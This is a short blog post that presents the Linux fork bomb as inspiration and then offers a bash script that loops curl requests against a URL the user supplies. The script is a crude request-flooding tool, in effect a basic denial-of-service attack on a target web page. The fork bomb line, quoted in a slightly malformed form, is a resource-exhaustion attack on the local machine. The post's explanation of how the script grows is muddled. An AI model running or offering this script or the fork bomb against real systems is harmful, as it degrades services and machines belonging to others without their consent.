Inspiration: the famous fork bomb in the Linux world.
Fork bomb:
:(){:|:&};.

It’s like a crazy binary tree that consumes the resources of the system constantly. Fork bomb has an impact size of 2^n.


The script here can’t do that terrible damage. Keep the size 2n, use curl to access the target page constantly, and redirect the standard output to the file read1 to keep the current terminal window clean.

#! /bin/bash
repeat(){
while :; do
    $@ && repeat $@
done
}
read -p "enter URL: " url
repeat curl $url 1>read1

Categories: Shell

0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

3D Model Viewer: add grid plane and convex hull.
Add google translate tool at right-bottom position.

X
A prohibited operation
0
Would love your thoughts, please comment.x
()
x